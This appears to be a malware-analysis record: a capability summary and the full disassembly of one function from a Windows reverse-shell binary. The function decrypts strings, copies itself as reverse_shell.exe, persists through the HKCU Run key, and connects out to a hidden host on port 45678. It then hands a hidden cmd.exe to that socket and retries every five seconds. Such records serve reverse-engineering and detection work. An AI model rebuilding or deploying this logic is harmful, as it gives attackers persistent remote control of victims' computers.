Function at 0x1400014d2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Persist via run registry key
Resolve dns

Disassembly:
push rbp
sub rsp, 0x630
lea rbp, [rsp + 0x80]
call dbg.__main
mov edx, 0x55
lea rax, section..data
mov rcx, rax
call sym.xor_decrypt
mov edx, 0x55
lea rax, [0x140004010]
mov rcx, rax
call sym.xor_decrypt
lea rax, str.SHGetFolderPathA
mov rdx, rax
lea rax, str.shell32.dll
mov rcx, rax
call sym.resolve_api
mov qword [rbp + 0x5a8], rax
lea rax, str.GetModuleFileNameA
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call sym.resolve_api
mov qword [rbp + 0x5a0], rax
lea rax, str.CopyFileA
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call sym.resolve_api
mov qword [rbp + 0x598], rax
lea rax, str.RegOpenKeyExA
mov rdx, rax
lea rax, str.advapi32.dll
mov rcx, rax
call sym.resolve_api
mov qword [rbp + 0x590], rax
lea rax, str.RegSetValueExA
mov rdx, rax
lea rax, str.advapi32.dll
mov rcx, rax
call sym.resolve_api
mov qword [rbp + 0x588], rax
lea rax, str.RegCloseKey
mov rdx, rax
lea rax, str.advapi32.dll
mov rcx, rax
call sym.resolve_api
mov qword [rbp + 0x580], rax
lea rax, [rbp + 0x3c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x1400015f5
mov eax, 1
jmp 0x140001a21
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x5a8]
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
call rax
test eax, eax
je 0x14000162e
mov eax, 1
jmp 0x140001a21
lea rax, [rbp + 0x100]
mov r9, qword [rbp + 0x5a0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
call r9
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x210]
add rax, rdx
movabs rdx, 0x657372657665725c
movabs rcx, 0x652e6c6c6568735f
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0xf], 0x657865
lea rdx, [rbp + 0x210]
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400016c6
lea rdx, [rbp + 0x210]
lea rax, [rbp + 0x100]
mov r9, qword [rbp + 0x598]
mov r8d, 0
mov rcx, rax
call r9
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x590]
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call rax
mov dword [rbp + 0x57c], eax
cmp dword [rbp + 0x57c], 0
jne 0x140001760
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.strlen
lea edx, [rax + 1]
mov rax, qword [rbp + 0xf8]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x210]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x588]
mov r9d, 1
mov r8d, 0
lea rdx, str.reverse_shell
mov rcx, rax
call r10
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0x580]
mov rcx, rax
call rdx
movabs rax, 0x4a334d534c7a4a65
movabs rdx, 0x4b2f797a6f635679
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x47414551534b2f79
movabs rdx, 0x3d3d5158457367
mov qword [rbp - 0x23], rax
mov qword [rbp - 0x1b], rdx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x570], rax
cmp qword [rbp + 0x570], 0xffffffffffffffff
jne 0x1400017eb
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001a21
lea rax, section..data
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x568], rax
cmp qword [rbp + 0x568], 0
jne 0x140001822
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001a21
mov word [rbp + 0x3b0], 2
mov ecx, 0xb26e
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x3b2], ax
mov rax, qword [rbp + 0x568]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x3b4], eax
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x570]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
jne 0x1400018d9
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001a1c
lea rax, [rbp + 0x340]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x340], 0x68
mov dword [rbp + 0x37c], 0x100
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x390], rax
lea rax, [rbp + 0x320]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x320]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x340]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x1400019d5
mov rax, qword [rbp + 0x320]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x328]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019fb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x564], eax
mov eax, dword [rbp + 0x564]
mov edx, eax
lea rax, str.CreateProcess_failed_with_error__lu_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001798
add rsp, 0x630
pop rbp
ret